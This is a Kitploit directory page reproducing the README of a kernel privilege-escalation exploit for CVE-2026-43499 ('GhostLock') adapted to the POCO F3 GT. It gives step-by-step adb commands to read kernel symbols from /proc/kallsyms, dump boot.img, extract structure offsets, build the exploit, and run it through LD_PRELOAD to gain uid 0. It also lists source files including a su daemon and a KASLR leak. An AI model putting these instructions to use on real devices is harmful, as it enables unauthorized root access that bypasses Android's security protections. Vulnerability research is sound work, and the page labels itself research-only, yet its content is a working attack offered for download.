Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ghostlock-aresin — GhostLock (CVE-2026-43499) exploit pour POCO F3 GT (aresin) — MediaTek Dimensity 1200, élévation de privilèges du noyau Linux 4.14.186 ARM64 via manipulation de la chaîne futex PI | Kitploit
Outils/GitHubGitHub/nothingfumo/ghostlock-aresin
Sécurité AndroidEscalade de PrivilègesAnalyse des VulnérabilitésExploitationRétro-ingénierieSécurité MobileExploitation de Binaires
GitHubnothingfumo/ghostlock-aresin

ghostlock-aresin

GhostLock (CVE-2026-43499) exploit pour POCO F3 GT (aresin) — MediaTek Dimensity 1200, élévation de privilèges du noyau Linux 4.14.186 ARM64 via manipulation de la chaîne futex PI

Voir le dépôt
429il y a 25 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

Exploit d'écrasement de la physmap (data-only) pour MediaTek Dimensity 1200 (MT6893). Noyau : 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.

⚠️ Prérequis

  • Appareil : POCO F3 GT / Redmi K40 Gaming Edition (nom de code : aresin)
  • Puce : MediaTek Dimensity 1200 (MT6893)
  • Système : Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
  • Noyau : 4.14.186-g0dc1d312efb3
  • Pas besoin de déverrouiller le BL — un shell suffit via Shizuku (débogage sans fil)
  • Shizuku ou adb shell peut exécuter un binaire arm64
  • Après exécution, l'appareil redémarre (kernel panic — comportement attendu). Pour sauvegarder les logs, connectez adb logcat à l'avance

✅ Vérification des conditions de la vulnérabilité

ConditionStatutDescription
Plage de version du noyau✅4.14.186 est dans la plage 2.6.39 ~ 7.0.4
CONFIG_FUTEX_PI✅Activé (y)
CONFIG_RT_MUTEXES✅Activé (y)
Architecture✅aarch64
CONFIG_PREEMPT✅Activé (y)
CONFIG_RANDOMIZE_KSTACK❓À confirmer (probablement non supporté sur 4.14)

🔧 Étapes d'adaptation

Première étape : Extraire les adresses des symboles du noyau

root@kitploit:~
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt

Si vous avez root (Magisk), vous pouvez extraire directement depuis /proc/kallsyms :

root@kitploit:~
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"

Deuxième étape : Extraire vmlinux et analyser les offsets des structures

Méthode A : Extraire vmlinux de boot.img

root@kitploit:~
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img

# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)

# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf

# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"

Méthode B : Analyser avec Ghidra

  1. Ouvrir vmlinux.elf avec Ghidra
  2. Rechercher les structures rt_mutex_waiter et task_struct
  3. Noter les offsets de chaque champ

Troisième étape : Remplir target.h

Renseignez les offsets extraits à tous les emplacements 0xTODO dans target.h.

Tableau de correspondance des offsets clés :

Quatrième étape : Compiler

root@kitploit:~
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973

# 编译
make preload TARGET_HEADER=target.h

# 产物: build/bin/preload.so

Cinquième étape : Tester

root@kitploit:~
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true

# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

📊 Comportement attendu

⚠️ Notes importantes

Différences entre les noyaux 4.14.x et 6.1.x

  1. Structure rt_mutex_waiter différente :

    • 4.14.x utilise plist_node au lieu de rb_node
    • Les offsets des champs sont complètement différents
    • Les champs deadline / ww_ctx peuvent ne pas exister
  2. Disposition de task_struct différente :

    • Les offsets de pi_blocked_on, pi_lock, etc. dans 4.14.x diffèrent de ceux de 6.1.x
    • Les champs liés à uclamp peuvent ne pas exister dans 4.14.x
  3. Implémentation KASLR différente :

    • La méthode de randomisation KASLR de 4.14.x diffère de celle de 6.1.x
    • La méthode de fuite d'informations peut nécessiter un ajustement
  4. Différences de sécurité Android 13 vs 14 :

    • Les politiques SELinux peuvent différer
    • Les restrictions d'accès à /proc/self/pagemap peuvent différer

Vérification des offsets

Après avoir renseigné les offsets, il est recommandé de les recouper avec Ghidra :

  1. Ouvrir vmlinux.elf dans Ghidra
  2. Aller à la structure rt_mutex_waiter
  3. Confirmer que l'offset de chaque champ correspond à target.h

📁 Structure des fichiers

root@kitploit:~
ghostlock-aresin/
├── README.md              # 本文件
├── Makefile               # 编译脚本
├── target.h               # 目标设备偏移定义 (需要填写)
├── src/                   # 源码
│   ├── main.c             # 主利用逻辑
│   ├── util.c             # 工具函数
│   ├── slide.c            # KASLR 泄漏
│   ├── fops.c             # 文件操作
│   ├── pipe.c             # pipe 相关
│   ├── preload.c          # LD_PRELOAD 入口
│   ├── su_daemon.c        # su 守护进程
│   ├── su_blob.S          # su 二进制嵌入
│   ├── standalone.c       # 独立运行
│   ├── common.h           # 公共定义
│   └── offset.h           # 偏移计算
├── tools/
│   └── extract_offsets.sh # 偏移提取脚本
└── build/
    ├── bin/               # 编译产物
    └── embed/             # 嵌入文件

📜 Licence

À des fins de recherche et d'enseignement uniquement. Utilisation à vos risques et périls.

PoC d'origine : NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/ Adapté pour : POCO F3 GT (aresin) par ghostlock-aresin

Télécharger l’outil
ChampDescriptionMéthode d'extraction
INIT_TASKAdresse de init_task/proc/kallsyms ou Ghidra
INIT_CREDAdresse de init_cred/proc/kallsyms ou Ghidra
WAITER_*_OFFOffsets des champs de rt_mutex_waiterpahole / Ghidra
FAKE_TASK_*_OFFOffsets des champs de task_structpahole / Ghidra
TASK_CRED_OFFOffset du pointeur credpahole / Ghidra
PhaseSortieDescription
Initialisation[*] GhostLock - aresin (MT6893 D1200) 4.14.186Appareil correctement identifié
Affinité CPU[+] CPU0 pinnedÉpinglé sur CPU0
Chargement des adresses[*] init_task @ 0xffffffc00xxxxxxxAdresse LM fixe
Vérification des privilèges[+] uid: xxxxxAffiche l'uid actuel
KASLR slide[+] slide = 0 ou slide = xxxDétection KASLR
Déclenchement de l'escaladeAprès succès, uid devient 0Obtention de root
Échec[-] ... + redémarrageKernel panic (la vulnérabilité existe mais les offsets doivent être ajustés)